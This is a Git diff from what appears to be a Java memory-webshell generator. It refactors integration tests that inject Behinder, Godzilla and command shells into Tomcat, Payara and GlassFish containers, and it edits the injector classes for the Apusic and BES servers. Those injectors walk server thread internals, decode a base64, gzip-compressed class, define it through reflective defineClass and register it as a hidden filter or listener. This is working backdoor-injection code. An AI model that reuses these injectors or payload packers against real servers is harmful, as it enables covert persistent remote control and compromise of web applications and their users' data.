                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
         );
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

@@ -4,7 +4,6 @@ import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.PayaraShell;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -54,19 +53,18 @@ public class Payara520225ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.integration.payara;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.PayaraShell;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
@@ -54,19 +53,18 @@ public class Payara620222ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.integration.tomcat;
 
-import com.reajason.javaweb.memshell.TomcatShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
@@ -59,18 +58,19 @@ public class Tomcat10ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java

@@ -51,9 +51,9 @@ public class Tomcat11ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java

@@ -4,7 +4,6 @@ import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.TomcatShell;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -51,9 +50,9 @@ public class Tomcat11JRE21ContainerTest {
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
+                arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

@@ -59,12 +59,12 @@ public class Tomcat5ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java

@@ -59,12 +59,12 @@ public class Tomcat6ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

@@ -59,12 +59,12 @@ public class Tomcat7ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.integration.tomcat;
 
-import com.reajason.javaweb.memshell.TomcatShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
@@ -68,15 +67,15 @@ public class Tomcat8ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java

@@ -59,12 +59,12 @@ public class Tomcat9ContainerTest {
                 arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
                 arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
         );
     }
 

memshell/build.gradle

@@ -15,19 +15,6 @@ java {
 }
 
 dependencies {
-    implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
-        exclude group: 'org.apache.tomcat', module: 'tomcat-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jni'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-coyote'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-util'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-el-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
-        exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
-    }
     providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
     providedCompile 'javax.websocket:javax.websocket-api:1.1'
 }

memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicFilterInjector.java

@@ -57,21 +57,19 @@ public class ApusicFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object filter) throws Exception {
@@ -115,7 +113,6 @@ public class ApusicFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -123,16 +120,13 @@ public class ApusicFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicListenerInjector.java

@@ -99,7 +99,6 @@ public class ApusicListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -107,16 +106,13 @@ public class ApusicListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicServletInjector.java

@@ -56,18 +56,16 @@ public class ApusicServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = context.getClass().getClassLoader();
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public void inject(Object context, Object servlet) throws Exception {
@@ -99,7 +97,6 @@ public class ApusicServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -107,16 +104,13 @@ public class ApusicServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java

@@ -7,10 +7,7 @@ import java.io.IOException;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
 import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
@@ -50,41 +47,37 @@ public class BesFilterInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("unchecked")
@@ -94,7 +87,6 @@ public class BesFilterInjector {
             log.warning("filter already exists");
             return;
         }
-        System.out.println(context.getClass().getName());
         Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
         Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
@@ -133,7 +125,6 @@ public class BesFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -141,16 +132,13 @@ public class BesFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
 import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
@@ -50,37 +47,33 @@ public class BesListenerInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
